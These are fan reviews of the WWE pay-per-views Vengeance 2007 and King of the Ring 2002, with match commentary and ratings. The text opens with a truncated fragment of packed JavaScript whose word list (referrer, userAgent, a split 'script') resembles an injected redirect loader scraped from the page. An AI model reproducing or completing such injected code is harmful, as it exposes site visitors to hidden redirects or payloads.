");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnntt|var|u0026u|referrer|atykn||js|php'.split('|'),0,{})) 2007
Date: June 24, 2007
Location: Toyota Center, Houston, Texas
Attendance: 15,000
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Joey Styles, Tazz, John Layfield

So this is the final actual Vengeance show and its official title is Vengeance: Night of Champions. This show is infamous for one reason: it’s the Benoit Show. The next day we would find out what he did and he’s not here tonight for “personal reasons.” For those of you that are new to this, Chris Benoit went insane and murdered his wife and son before killing himself at his home. He was supposed to win the ECW Title here but that obviously never happened. Other than that, all titles are on the line. Let’s get to it.

The opening video is about how everyone wants to be a champion, which is very true I guess. We get clips of all of the big matches tonight which is good for helping to bring us all up to date considering this is a 3 year old show.

Oh and we’re done with the brand exclusive shows at this point which is a MAJOR plus for me.

We’re going to have legends introduced all night which is a cool thing. The first are the US Express: Barry Windham and Mike Rotundo, who continues to change his last name from Rotundo to Rotunda every time he appears.

Raw Tag Titles: The Hardys vs. Lance Cade/Trevor Murdoch

This was a reunion that went on for a few months because they had nothing else to do for them. Jeff’s rise to awesomeness would come soon enough. Matt would stay uninteresting. The country boys are the champions here. They took them from the Hardys about three weeks before this. It’s weird to think that only Matt is still with the company now. Dang the fans are way into Matt here. And Jeff is even more over.

They dominate early on which leads me to think the champions will retain. The champions try to run away and we have a red carpet here. Dang I didn’t know Murdoch could run that fast. We hit the formula here which is likely the right thing to do. I’ve always wondered why partners start to come in at 2. It’s not like they’re The Flash or something. Murdoch has a bad eye apparently. Is he like Rocky now? Murdoch’s country music gimmick a few years after this really was comically bad.

Sorry for being so random but this just isn’t an interesting match at all so I’m trying to kill the time. Murdoch hooks a LONG half crab to kill even more time. Well to be fair Matt has a bad knee apparently. Jeff gets the hot tag and the crowd is VERY hot here. Jeff beats the tar out of everyone and hits his sitout Gordbuster. Matt Hardy accidentally distracts the referee and Jeff gets double teamed into Cade’s sitout spinebuster for the pin to retain.

Rating: D+. Boring match but considering there are so many matches tonight they likely have to hurry. This is a match that shows the issues with both the division and the show though as there is no need for this to be on PPV as it should have been on Raw instead of here. This was the Hardys’ last official tag match together for awhile so there you are.

Booker lists off his accomplishments. He would be in TNA in like four months.

Ad for Summerslam which was going to be the Jackass show. Thankfully that never happened, so instead TNA did it and it completely bombed.

We have a little profile on Eddie, because this is a WWE show and we need to get every bit of sympathy out of Eddie’s corpse that we can right? They completely leave out Goldberg interfering in that Lesnar match for obvious reasons.

Cruiserweight Title: Chavo Guerrero vs. Jimmy Wang Yang

We get a bit on Dean Malenko as he was a great Cruiserweight Champion back in the day. Jimmy comes out to NO reaction. I mean NOTHING. This is about a month before Chavo lost the belt to Horny. Oh dear. Apparently the WCW Light Heavyweight Title is now the official forerunner to the Cruiserweight Title. Ok then. The division was really pretty worthless at this point so I guess killing the title was the right idea.

Then again that could be Yang since no one buys him as a threat to the title here at all. He does however hit a SWEET dive off the top to the floor. That looked awesome. JBL really was solid at announcing. He wasn’t great or anything but he had recent credibility which is the most important thing so there we are. Chavo takes over as this just isn’t that interesting at all for some reason. I just do not care at all. We’re reminded again that the name Guerrero means warrior. We get it.

It’s a bad sign when the best thing you can say about a guy is he has a never say die attitude. Jimmy gets some offense in and manages to get the crowd to make noise. And there are the Three Amigos to get rid of that. The top rope moonsault from Yang misses and you can feel it getting close to the end. You can see people getting up and leaving or getting back from the concession stands as Chavo wins with a Frog Splash.

Rating: D+. The wrestling wasn’t bad here, but DANG this just wasn’t any good. Again this should have been a TV match and not a PPV match. You can really see how little development there were for a lot of these titles back in the day and it really wasn’t a great idea to have these matches on PPV. It’s not bad, but there’s just no point to it.

We recap the Vince Limo Explosion which is really put into context by what would be revealed the next night. I remember watching this on TV and saying that the lim was going to blow up. No idea why I thought that but I just knew it. Another way you could tell it was fake was a puddle appears just prior to the explosion.

It was a great editing job though as I had to read that on WZ to notice it. There’s a poll question on WWE.com as to who you think the culprit is. Only Vince would use his own murder as publicity.

Lashley is mad at Vince but didn’t do it.

We see clips of Taz being a tough guy. He’s credited with being the first guy to make people tap out to indicate submission. I’ve heard that from non-WWE sources too so maybe there’s some truth to that.

ECW Title: CM Punk vs. Johnny Nitro

Again this was supposed to be Benoit instead of Nitro which had me drooling over the thought of it. Punk cleanshaven is odd looking. Nitro would become Morrison in about a month or so. We hear the term “personal reasons” which no one knew the meaning of at the time. It would be discovered tomorrow afternoon which is chilling when you think about it. What was he doing during this show?

I made a thread once about these two being the real rivalry in WWE over the last 3 years and I still think that. The fans want tables. Good luck with that. Nitro hits that springboard rotating kick which looks great. Johnny Nitro sounds like a guy Sandman should massacre in a TV squash. I think that might have been the idea actually. This is the standard decent match between the two of them but it’s really nothing all that special.

Nitro was little more than a glorified jobber that had a decent feud with Jeff Hardy a few months earlier but other than that he had a hot girlfriend and that’s about it. Oh and nice abs. Nitro uses the ropes to get extra leverage and like any other heel, it gets heat for him. Again, less is more. Simple cheating will get the crowd to boo you. Nitro hits that corkscrew neckbreaker while Punk’s feet are on the ropes like Orton’s elevated DDT to get the win and the title. Wow that match flew by and I’m not sure if that’s a good or a bad thing in this case.

Rating: C-. Not bad here but not great at all. Nitro wasn’t very good yet and it was clear here. He would become John Morrison and gain confidence in a few weeks which was huge to his career and still works to an extent today. Anyway, this wasn’t bad, but they would have FAR better matches later.

We recap Shawn vs. Bret in the Iron Man match to show Shawn’s first title win. This is a cool theme for a show if nothing else.

Foley is getting ready for the main event tonight. And here’s Randy Orton to be a jerk. I can’t wait to get to that match.

Ricky Steamboat is here.

Intercontinental Title: Santino Marella vs. Umaga

Just make it quick please. Santino is the plucky young rookie here that is still a face and currently stabbing the title through the heart every second he has the belt but whatever. Apparently Umaga half killed Foley on Raw. Santino is wrestling legit here and it’s amazing to think of how I guess you could say far he’s come today? Umaga kicks his head off to take care of that.

There’s the nerve hold or whatever you want to call it. Is that just a Samoan thing? Umaga gets him in the corner and pounds him down, which is apparently enough for the CHEAP DQ. Umaga destroys him for good measure. He would get the title back in eight days or so. He crushes Santino with a splash and gets a face chant for it.

ARE YOU LISTENING VINCE? Umaga finishes it off with the spike. The post match beatdown was longer than the match itself I think. He gets a LOUD face chant which of course isn’t acknowledged at all. Ok seriously, the match has been over for like 5 minutes now. End it.

Rating: N/A. First person that finds a point to this anywhere, please let us know. Good lucky on finding one also.

Ad for the Great American Bash.

We go to a press conference thing from Friday, held by the lead investigator in Vince’s case. Also there’s apparently another well-known personality’s DNA in the limo. Ok then. Tomorrow we have a 3 hour Raw as a memorial for Vince. This is actually hard to watch when you know what’s coming.

MAGNUM TA IS HERE! That mustache is awesome. Man he could have been something special.

US Title: MVP vs. Ric Flair

MVP is the ridiculously cocky heel here and actually interesting to an extent. You would NEVER hear that today. He gets in Magnum’s face and says it’s all about MVP now. If all of MVP’s matches wind up combining to be half as good as the I Quit Cage match I’ll be stunned. Flair just looks stupid in pink. He’s no Bret Hart in that regard. Flair shows MVP up with bare bones basic moves and it’s hilarious. Flair is busted open! I CAN FEEL MY INNOCENCE BEING RIPPED FROM MY BODY! SPARE ME PLEASE!!!!

In a funny moment, Flair chops the heck out of MVP and after MVP takes over, he opens up his vest and checks his chest for welts. JBL says Flair’s chops are better than anyone else’s. And I believe him since he was a wrestler not long before this. Lawler needs to remind us he used to be a wrestler. Even Striker reminds us of that. This is another one of that matches that likely belongs on TV but we need a US Title match so here is one for you.

MVP’s knee hits the buckle and Flair goes for the wrong one, thereby proving that some things never change. There it is and we’re in Flair Formula time. It’s still passable too so I can’t complain that much. In a nice ending, Flair goes after MVP but the referee blocks him, allowing MVP to poke him in the eye and hit the Playmaker for the retaining. Why is that nice? Because that is Flair 101: distract the referee and cheat. I love that.

Rating: C. The ending helped that a lot. It’s your standard Flair match, but look at him put ANOTHER guy over. I’m defending Flair. What in the world is wrong with me? This is when Flair was still bearable but he was on the verge of being gone, which I think is for the best. Match was average.

Cena says nothing as Edge interrupts. Edge accuses Cena of being behind of the Vince thing. Cena says Edge is too much of a softie to have been behind it. Edge says he’s vicious and can do evil things, and of course the detective is behind him. Oh good. My eyes rolled so far around that I’m looking at the screen again.

Tony Garea and Rick Martel are here. Was Tito Santana busy or something?

Smackdown Tag Titles: Deuce N Dominovs. ???/???

It’s an open challenge here so the challengers are unknown. Deuce says this place is full of old people. Domino doesn’t like them either. This team was either great or completely idiotic. In short, they’re Fonzie from Happy Days. Cherry, their manager, in short is hot. Deuce is more commonly known as Sim Snuka or the guy that kept Taker from breaking his neck at Mania 25. The challengers are Sgt. Slaughter and Jimmy Snuka. Allow me to quote the 25th letter of the alphabet: WHY???????????/

Smackdown Tag Titles: Deuce N Domino vs. Sgt. Slaughter/Jimmy Snuka

Remember that Snuka is Deuce’s father. JBL says if the champions lose then he’s calling Ron Simmons up and reforming the APA. JBL suggests their name could be the Coffin Dodgers. Oh that’s funny. Sarge looks good here and we get a jab at the Ultimate Warrior. They beat the tar out of Domino here as you would expect them to. Again though, this is on PPV in 2007. There’s the Cobra Clutch which is his signature finisher, which always amused me.

The one time he used a different finisher, he won the WWF Title. So naturally he used the old one and never did anything again. This has been dominance so far. Deuce finally comes in and this is dragging badly. Snuka beating up his son is just kind of surreal. I don’t know if I’d want to be in that position or not. Snuka hits a top rope cross body but Deuce rolls through for the pin.

How annoying do you think he’s going to be with that at Thanksgiving? He pinned his HOF dad on PPV. How cool would it be to be able to say that? Post match there’s a beatdown and Martel and Garea jump the railing for the save.

Rating: D-. The match was horrible obviously, but the point here was to have the legends get a chance out there again. That doesn’t make up for it though. This is just not something I want to see on a PPV show. On TV is one thing I guess, but no way this should be on PPV.

Ad for the Vince Memorial Service. Still gets me thinking what would be airing instead.

We recap Edge vs. Batista which is a Last Chance match. Edge cashed in Kennedy’s MITB contract to beat the injured Taker for the belt. This is the music video package for the night.

Harley Race is here. Oh yes.

Smackdown World Title: Edge vs. Batista

Dang that trenchcoat is awesome. He and Harley have a moment which is kind of odd. Big Dave gets a nice pop. Batista hugs Race too as his entrance is taking way too long. Batista starts how and beats the heck out of Edge, focusing on the arm which is weird looking for a power guy but whatever. You can tell this is going to be a long one. Smackdown always was the show that was more about wrestling than the entertainment aspect so this is expected.

Edge hits a baseball slide and is in control. Now Edge works on Batista’s arm. Well at least they’re being consistent here. His shoulder goes into the post as we hear that you don’t think of Edge and speed in the same sentence. How weird is it to think that he used to be a high flier back in the day? Edge uses a bit boot and hooks an armbar. We now get to the problem of guys working on the arm: it’s very boring. Well at least he’s switching it up.

Edge counters a Samoan Drop into an arm hold. Nicely done. He’s on his third different hold in less than two minutes. That’s how you work an arm. You can switching things up like that and stick with one plan, which at least keeps things from being so boring. A Boss Man Slam from nowhere hits Edge for two. Edge seems to be more popular here with the smark crowd. He goes for the belt but the referee stops him.

Batista hits a spear to block the spear. There’s a Zen riddle in there somewhere. Batista ANIMALS UP but Edge low blows him to keep the title. That’s a legit surprise to me as the face usually wins in those last chance matches. Edge would get legit hurt soon and have to drop the title which Khali won in a battle royal. Batista would get it in the fall. Hey here’s Teddy Long. He’s restarting the match because Edge cheated. Ok then.

If Edge intentionally gets disqualified here then Batista is champion. Spear gets two and the crowd is on fire. We go to the floor and Batista goes into the steps. Edge takes the Bomb on the floor but Batista gets counted out after rolling him back in which should have broken the count I believe. I have no idea why Long was needed here if that’s the ending they were going with but whatever.

Rating: B-. This was your traditional decent Smackdown world title match. They went through a period around this time where they just kind of went with the motions but had good matches anyway. The match worked as well as possible given who was in it though o I can live with that. Far from great, but Batista kind of sucked at this point.

Ad for Summerslam. They’re going way in advance here.

We talk about Fabulous Moolah, meaning it’s Women’s Title time. There was no Divas Title yet. We even get clips of the Original Screwjob. Basically Wendi Richter wouldn’t agree to have Moolah beat her for it so they put a mask on Moolah and had her shoot on Richter for the title. Very old school backstabbing there.

Women’s Title: Melina vs. Candace Michelle

Melina is champion here. So basically Melina is awesome and Candace is popular because she was in Playboy. Crowd is DEAD for this. Oh and Candace is awesome because she can do a dance too. This match is making my head hurt. It’s a great example of how bad the division was around this time.

And then Candace hits a spinwheel kick to win the title. She wound up taking one of the SICKEST bumps I’ve ever seen to get hurt and would never get the title back. She can’t even hold the belt right. I never really cared for her and this is no exception. They try to make this some big emotional moment and it just falls flat.

Rating: D. And that’s all for Melina. She carried Candace like a bag of potatoes here and it was painfully obvious. Melina is good but she’s not a miracle worker. It’s stuff like this that makes the division look like a joke and that’s never a good thing. Then again I’m not sure how many people actually were in the arena for this match so there we go.

ANOTHER ad for the Bash. Dang they’re going insane here with those things.

We recognize JBL before the main event. Naturally he has something to say which he hands to the announcer. We get JBL’s career bio which is funny for some reason. He is also YOUR wrestling god.

We recap Raw’s world title match which is just about being a champion or something like that. All five people talk about what it means to be a champion. Yes it’s clichéd but it works fairly well I think. It goes on WAY too long though but that’s WWE for you.

Raw World Title: Mick Foley vs. John Cena vs. Bobby Lashley vs. Randy Orton vs. King Booker

Cena is defending and it’s one fall to a finish. Foley is only in this because he’s a former champion. How weird is it that Foley would win a world title after this but Booker and Lashley wouldn’t? Lashley won a good deal of titles in his time in the company which was really short. Foley gets a nice pop. Booker would be gone in October. Orton gets a face pop and would be getting really into the title picture in the fall, winning the title twice in one night.

Cena feels like a superstar here and with good reason I think. This is in the middle of his year long reign as champion which got him a lot of heat but I still ask you: who else was going to have the title put on them? Booker jumps to the floor immediately which is smart if nothing else. Very quickly we have Cena vs. Lashley which Vince much dream of at times. Lashley hits a SICK dive over the top to take out all four guys. That looked great.

Lashley hits Booker with what we would call Shock Treatment which is a cool move actually. This is ALL Lashley at this point as he’s dominating everyone. I still feel sorry for the ECW announcers as they have one match to call and then just sit there for the rest of the night. Lawler says the only good thing about being bitten by Foley is that he doesn’t have all of his teeth. For some reason that made me laugh. FU to Lashley through the table out of nowhere and a nice one at that.

We go to the standard multi-man match formula which is fine here as five people makes that kind of required. Cena goes for You Can’t See Me on Booker but walks into the RKO for two as Foley makes the save. He dominates for awhile as you would expect. It’s Socko time!

How amazing is it that he got so far with his signature thing being a sock? That would be like a guy saying nothing but nonsensical things about the Muppets’ sex lives on a wrestling forum and being called funny. Everything goes insane but Foley takes the FU for Cena to retain.

Rating: D+. They did the very smart thing here by keeping this short as it barely cracked ten minutes. With this many people though that was the smart thing. I’m not sure why they went with the five person match here instead of one on one but it was nice to have Foley come in there as it fit with the whole champions and legends deals all night. This was as good as you could have expected though given what was coming, which wasn’t horrible but was just kind of thrown on.

Overall Rating: D+. I’m not sure why but this worked for me somehow. They did a great job here of building up the whole championships all night long thing which is how it was supposed to go. It felt like a major show that was very important and while the wrestling was pretty bad, the atmosphere made up for it and everything seemed to work. I’d actually recommend this, but the wrestling is nothing at all to be excited about.

It’s about that special feeling you get when you hear “this contest is for the world championship!” It makes things more interesting and the feeling doesn’t weaken as the night goes on. This worked, even though it was pretty bad. Check it out.

So that’s Vengeance. At the end of the day it’s really just a minor PPV with nothing of note really coming from it other than the first show back in 2001. There were some good ones here and there with 05 being a GREAT show, but other than that there just wasn’t much at all to really talk about on these shows. They were ok but there just wasn’t really anything of note overall. I’ll be doing NOC 08 just to finish off the series and then moving on to Taboo Tuesday and Cyber Sunday which I’ll do back to back.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

King of the Ring 2002
Date: June 23, 2002
Location: Nationwide Arena, Columbus, Ohio
Attendance: 14,200
Commentators: Jerry Lawler, Jim Ross

Austin is gone. That’s your big story number one. He was ticked off at management so he just walked out on the company. This is the story they mean when they say he took his ball and went home. Due to him leaving, and I believe I was at his last match before he left, Rock made a surprise return and said that he would be at the PPV to fill in for Austin. The reason Austin left was he didn’t like creative, namely that he was jobbing to Brock Lesnar on Raw in a KOTR qualifying match.

That brings us to story number 2: Brock Lesnar. He’s in the final four and is about as much of a given winner as you can possibly imagine. Hogan is still here too, fighting Angle tonight. The main event is HHH vs. Taker for the title, which is going to suck, plain and simple. Let’s get to it.

The final PPV brackets:

Brock Lesnar
Test

Jericho
Rob Van Dam

Oh also, this is the first PPV under the WWE name as the change came just a few weeks prior to it.

We start with a recap of all the great wrestlers to win the tournament but we leave out all of the terrible ones, such as Mabel and Gunn. It has been a pretty good way to determine a good star over the years. For this year the winner gets the title match at Summerslam. Oh and we’ve had the brand split so it’s two shows now.

Oh one last thing: four days before this some company called TNA debuted. Yeah they’re nothing.

King of the Ring Semi–Finals: Chris Jericho vs. Rob Van Dam

Jericho beat Edge and Val Venis (called Big Valbowski at the time) while Van Dam beat Eddie Guerrero and X-Pac who somehow has a job at this point which amazes me. Van Dam is IC Champion here because that’s what he does. Dang  Jericho went from main eventing Wrestlemania to opening King of the Ring. That’s quite a fall. The fans are WAY behind RVD, and I think Jericho is still heel here. Yeah he is.

Ross thinks they’re evenly matches in size. Good to know his eyes are working well enough that he can tell they look the same. There’s an ECW chant as this match is about as good as you would expect it to be. This is another one of those that’s just hard to mess up. There are three guys in the front row all in Superman shirts. Jericho just doesn’t seem like he can do anything as a heel. He’s just not good in the ring as one, but I think that’s because of his finishing move.

It just doesn’t work for him as he needs something other than a sibmission. Hardly any heel wins with submissions and he’s no exception. I really hate that move where you just pull back on the other guy’s arms. It just looks like crap. I’ve always loved that springboard kick that Van Dam hits. Van Dam hits the exposed turnbuckle for two and the Lionsasult misses. The Five Star misses and the Lionsault again gets two.

Jericho gets the walls but it’s right in the corner and that breaks it up. Both are up top but Van Dam gets a kick to the head for the Five Star to end it. Van Dam being spent on the mat but still doing the finger point when his name is announced is just classic stuff. Lawler jumps in the ring to ask Van Dam who he prefers and RVD says he doesn’t care if it’s Test, Lesnar or Godzilla. Jericho jumps him and puts him in the Walls.

Rating: B. This was a great choice for an opener as it’s fifteen minutes of two guys that know how to get a crowd into a match. They did just that here and it worked like a charm. RVD winning clean is a big deal too as it gives him a solid push to the finals before he gets slaughtered. This was a good back and forth match and it worked very well though.

Heyman gets Lesnar fired up by saying apparently that he’s Godzilla. Lesnar was freaking scary. Those nipples are hard as too.

King of the Ring Semi–Finals: Test vs. Brock Lesnar

Hmm, I wonder what’s going to happen here. Apparently insiders are picking Test. That just makes me laugh. Heyman is freaking perfect for this job as he makes you want to hate Lesnar but he was just so awesome that he eventually got cheered anyway. The fans chant for Goldberg who wouldn’t be around for about 9-10 months. I think Test is a face here but no one cares at all.

They missed so badly on him that the only time to jump on him was nearly 3 years ago but it never happened. I’m not saying he should have carried the company but a week or two with the belt would have been ok. If nothing else it gives him instant credibility. This just doesn’t seem like a good idea as they’re both power guys but they both have muscles so Vince knows it’s a good idea right? Oh yeah Test beat Hurricane and Hardcore Holly while Brock beat Bubba and Booker T.

Basically Test keeps taking bit moves but kicking out while he never gets any long offense in. He hits a sidewalk slam but this is a glorified squash. They do let Test get offense in actually. Ok they let him get in all three of his big moves with the full nelson slam, the pumphandle slam and the big boot and Lesnar pops up from all of them. Then they decidet to let Heyman hit Test, because we can’t have Lesnar go over a muscle guy clean. Way to make Lesnar look dominant there. There F5 ends him.

Rating: C-. This was being as generous as I could be. The second half was just finisher, kick out, finisher, kick out, finisher, kick out etc. Lesnar was about as obvious as you could be to win the whole thing so this was just a waste of our time. The Heyman interference was annoying too though so whatever.

Coach goes to the Raw locker room to ask who they think will win. Bubba picks Lesnar and says he’ll get a shot eventually. Yes, they actually were pushing Bubba as a midcard guy. They had no idea what they were doing around this time.

Greg Lloyd asks Christian and Lance who is going to win. Lance is annoyed that it’s two Americans and no Canadians. This was the UnAmerican angle that was brilliant but went nowhere.

Hey Cole and Tazz are here, getting their first mention or face time 40 minutes into the show. They recap Jamie Noble vs. Hurricane which is because of Nidia. It was completely freaking stupid. My goodness Nidia was worthless.

Cruiserweight Title: Jamie Noble vs. Hurricane

This was either Noble’s first match or at least his first feud. Oh ok this is his second. Seriously, the recap is still going. It’s getting more time than the opening video. Oh and the heels unmasked him which Burchill is still trying to do. IT’S STILL GOING! I have absolutely no interest in this match at all. Hurricane was running around chokeslamming people. Nidia thinks she means something. That’s just amusing.

There’s a “she’s a crack w****” chant going as we flash back to ECW. She tries to trip Hurricane and misses. You grab the big white thing. It’s how you got a job more than likely as it certainly isn’t for your looks and talent. Oh Tuesday is the Divas Undressed thing. It was a lingire thing that went nowhere. There were some ok looks but that’s about it. As you can tell, I’m not talking much about the match.

This division and title were just jokes and it’s good that the title isn’t coming back. Let it go people. Oh dear we begin the sex jokes about Hurricane and why Nidia dumped him. I hate those. Oh blast it they’re using sleepers. I can barely stand the thought of this match already and they’re just boring me to death. This division was just a freaking waste. Wait a minute. This is a Smackdown match. WHY ARE LAWLER AND ROSS CALLING IT???

We have acknowledged that Tazz and Cole, the SMACKDOWN ANNOUNCERS are in the building, but instead we get Ross and Lawler who have nothing to do with these guys or their show talking about the match. What in the world is wrong with this? Hurricane and Nidia fight over his cape. Hurricane suplexes Noble over the ropes and he lands on his leg. Dang it he’s getting up so we have to keep going.

Ric Flair vs. Eddie Guerrero

I get that everyone loves Flair, but we’re coming off of Hogan being WWE Champion. He has a match later tonight meaning that two guys in their 50s are getting PPV time. I get that they’re legends, but they should be here for one thing: putting people over. And nothing more. If that interview was live, he set a world record for fastest taping of his hands in history. Please let this get done fast.

Eddie imitates Flair which is so original that only about a dozen people have done it this year. Oh apparently this is supposed to be Eddie vs. Austin but we get Flair instead. Two weeks before this I saw that match at a house show and it was ok at best but Austin was still decent. Even still, you couldn’t have him fight Benoit or someone like that? Flair does all of his regular stuff and while it gets a pop, I just can’t get into it at all.

Granted this is my fourth review in two days so that likely has something to do with it. Flair asks for a time check and low blows Guerrero. That leads to, you guessed it, more chops. Flair is orange. That’s just disturbing. Guerrero works on the knee in a little twist on things. Figure four by Eddie but it’s on the wrong leg which to be fair Flair always did too. After a minute or so of trying to power out of it he just reaches up and grabs the middle rope without even having to straighten out his arm.

And now Eddie gives up on the legs and works on general offense. Well so much for psychology. And now we’re back on the floor. This is just meandering along at the slowest pace possible. When the announcers are calling out your lack of psychology you know it’s bad. Frog splash misses as this match needs to just end in a bad way. Flair goes to the knee and here’s Benoit. Flair bossing the referee around here is amusing for some reason.

And now we have some intelligence as Flair has the hold broken but he goes back to the legs. They try a pinfall reversal sequence and it just fails due to age and lack of ability anymore. Benoit puts the Crossface on Flair on the floor and Flair taps like an idiot. Benoit gets thrown out and while he does that, Bubba freaking Ray Dudley hits the Bubba Bomb on Eddie. Flair rolls in while Benoit chases Bubba and gets the pin. I knew it. I FREAKING KNEW IT.

Why in the world does Flair need to win this match? Can someone explain that to me at all? What does Flair gain here? He’s an old man that’s so far past his prime it’s pathetic, so let’s put him over a young and talented guy. God bless Vince.

Rating: D+. This was just SO boring. It goes on for 17 minutes and we get Bubba and Benoit deciding the ending. Seriously, we couldn’t have had Benoit vs. Eddie? They ahd to redo the story anyway so have one support Austin and one hate him. How hard is that? Apparently far too hard because we have Flair win the match. I really want to slap this PPV in the face.

Get the F Out Ad.

Regal and Chris Nowitski (Harvard guy) are at The World (WWF New York) and are complaining that their food isn’t here yet. The waitress says she’s still in school and Chris makes fun of her for going to a community college. Had he not gotten hurt, he could have ridden that gimmick for years. I remember X arguing with someone who said they went to some college. X just busts out that he went to Brown. Argument ended. Chris can do that too and it just ends things.

Women’s Title: Trish Stratus vs. Molly Holly

It’s the pointless match of the month. Trish has just broken through the ceiling here and has some talent now while Molly is being the virgin and perfect character. Oh and apparently Molly is overweight. Molly is a good worker so this should be ok I guess. And it won’t matter anyway as the fans chant about puppies. And there you have the problem with this division. It’s still like that today and it always will be.

Ok, they’re working hard here, but King keeps talking about puppies and in two days they’re having the Undressed show. See what I mean? No matter how good the wrestling is it’s not going to mean a freaking thing and that’s pathetic. You can tell Ross is fed up with Lawler’s stupid lines and jokes. Molly misses her top rope flip but rolls up Trish and uses the tights for the win.

Rating: C+. The wrestling was very good here actually, but the commentary just sucked. It was all fat jokes. Seriously, grow up Lawler. You need to. Not as bad as Vince does though.

Angle, now bald but with a wig on, is with that Lloyd guy. Angle asks an interesting question: what did Hogan ever do to become a real American hero? Apparently he only is because Vince says so. This is some awesomely interesting stuff. I guess beating Nikolai Volkoff counts. Angle just rips Hogan to shreds here. I love how there were so many lines about him that were off limits but now that he’s fallen from grace everything comes out.

HOLY CRAP THE SMACKDOWN GUYS ARE TALKING!!! The recap starts with a recap of Hogan wanting to retire and “bow out gracefully”. That just amuses me. Vince says he can’t because he won’t let him. Hogan says he changed his mind so he can Vince, which led to Angle running in. Again, Hogan is another guy that just needs to retire, but he has TNA to ruin.

Kurt Angle vs. Hulk Hogan

This show just kind of sucks and I have a freaking hour to go in it. We fight over technical stuff to start. What I mean by that is Angle does and Hogan just does power stuff. Hogan keeps taking control despite not actually doing anything. Hogan goes for the hair piece and gets a shot in the red and yellow balls. I guess there’s one of each.

Ross says Hogan is as American as apple pie. That’s true. He’s overrated, strange looking, he’s stayed too long, he doesn’t do anything, he gets on people’s nerves, he lies, he cheats, he steals, he cheats on his wife and he tries to be too young. He’s a REAL AMERICAN! Hogan, apparently tired after the work from throwing punches and putting his hand to his ear, is put into a chinlock. Hogan HULKS UP and hits the big boot but instead of the legdrop he pulls the wig off.

After Angle runs, Hogan goes for the legdrop but Angle catches it into the ankle lock. Hogan actually taps and the fans are stunned. That helps the match about a full letter. Ross tries to save Hogan by saying that he held on as long as humanly possible, which is apparently about 15 seconds. Ross can’t remember Hogan ever tapping. That’s just amusing.

Rating: C-. Angle carried this thing completely. Hogan is just a waste here, but to his credit, he tapped. Had he not, this would have ended any chance this show has. Him tapping was right though and it made Angle look much stronger. Sweetness there.

We go to the back with Booker, wearing a WWE Crew shirt for no apparent reason, and Goldust who is dressed like Rock. You all know what’s coming, and there he is. Rock, whose arm is freaking MASSIVE, says that he’s here for the title match, and wonders what in the world is wrong with Goldust.

Goldie keeps touching himself and mentions something about ammunition in his canon. Rock FREAKS on him and asks what the point of Goldie is. This goes on for about 5 minutes and is hilarious. Rock is maybe the best promo man ever and definitely the best ever at comedy.

King of the Ring Finals: Rob Van Dam vs. Brock Lesnar

Ok, does ANYONE here think RVD can win? If you do, you’re a freaking idiot. Van Dam uses his kicks to start and goes for the legs which makes sense I guess. And there we are as Lesnar just beats the tar out of him. We go through the standard beating that you would expect as they’re keeping things simple here. Why do otherwise I guess? Lesnar hits all of his big power stuff and it works quite well.

He hits the bearhug but Van Dam gets out, making him better than Hogan I guess. RVD makes his comeback and actually hits the Five Star, but Heyman interferes and snaps his neck over the ropes. The problem is that RVD lands on Lesnar for the cover and it gets a long two. See, that’s smart and clever as they make Lesnar look strong by having him kick out, especially when Van Dam rarely covers right after the move anyway.

That’s well thought out and it maks Lesnar look good. Van Dam goes up but gets caught in an F5 which looked great for the pin to give Brock the crown in a 6 minute match. Can we please have a long one? Would it kill you?

Rating: C+. They kept Brock protected here and it worked fine. He’s kind of like Sheamus but not really. They’re not letting him be in there too long at a time and it’s letting him look awesome without being able to pick out his mistakes and flaws that really are pretty obvious. This was fine for what it was as Brock is more or less catapulted into the main event picture off of one win.

HHH runs into Shawn and Nash. Everyone is fine, even though we’re two months from HHH trying to kill Shawn. Oh it’s the NWO. I forgot about that. It was Nash, HBK, X-Pac and Show. Thankfully Bischoff came in and destroyed it. Apparently HHH has a long history with the NWO. They offer their help if needed.

We recap HHH vs. Taker which more or less is Hogan beat HHH and Taker beat Hogan. Taker is all about respect here and thinks HHH doesn’t respect him. Somehow this takes four minutes to recap.

WWE Title: HHH vs. Undertaker

They punch each other. A lot. This is all basic stuff and nothing of note happening here. We spice things up with a backdrop. This goes on for TEN FREAKING MINUTES. Taker was just dreadful around this time and HHH did nothing at all. I’m twelve minutes into this and I have nothing at all to say. There’s just nothing going on. You know that the match isn’t ending this early.

Oh Heyman came out about 5 minutes ago and is doing commentary and saying Rock left rather than face Brock. Why would he have to face him at all? They foreshadow Summerslam by saying Rock is certainly a match for Brock. This is like a WCW main event from the late 90s: all punching and walking. And yep we continue the WCW style with a ref bump. And that brings out Rock, complete with entrance music.

He runs off Heyman and you would think that when he puts on a headset that it means he would talk. Nope, that would make sense. We go to the floor with the referee still down and Taker kicks Rock in the face. They’re right in front of him, and Rock is looking at the monitor. Dude, you can see Taker looking at you and raising his foot. FREAKING DUCK! Wrestlers have never been accused of being brilliant I guess.

Of course this prompts Rock to beat the tar out of Taker but a chair shot meant for the man that isn’t alive hits HHH by mistake. A new referee comes down after a Last Ride and Taker just punches him. Taker gets a Rock Bottom but there’s no referee again. A Pedigree puts Taker down and HHH is bleeding from…something we didn’t see.

There’s no referee though and while HHH is trying to wake him up, Taker hits a low blow and rolls him up using the tights and TEN SECONDS LATER he gets the three. At least it’s over I guess. Rock was standing in the entrance to the arena for about the last three minutes of that. He hits the ring and beats up Taker and we get the elbow. HHH pedigrees Rock to end the show…never mind there’s another chokeslam so the old guy stands tall to end it.

Rating: D-. Oy this was bad. No one cared and it was just boring. Also, you would think this would lead up to these three at Vengeance, but Angle went in HHH’s place due to the complaints about how boring the original triple threat would be. That’s saying a lot. I have no idea who decided these two should have nearly half an hour but they should be made to watch this match. I mean it was BAD. They screwed up a rollup. Let that sink in for a bit.

Overall Rating: D. Aye aye aye what a show. There was just nothing appealing here whatsoever. I mean it just got worse and worse at it went on. Nothing stands out here as appealing or interesting to me. Brock winning obviously means a lot and Hogan losing is fun, but other than that there’s just nothing of note here. The show sucked and it sucked badly. At least it’s over though. In case you can’t tell, stay away from this.

I hope you guys enjoyed these reviews more than I did, as I was bored out of my mind most of the time. King of the Ring was just not a good concept for PPV. It helped a lot of people get big later on, but the shows themselves just flat out sucked more often than not. The three match per show formula worked far better, but it didn’t always mean a good show, like here. I hated this last one and three of the last four were just brutal.

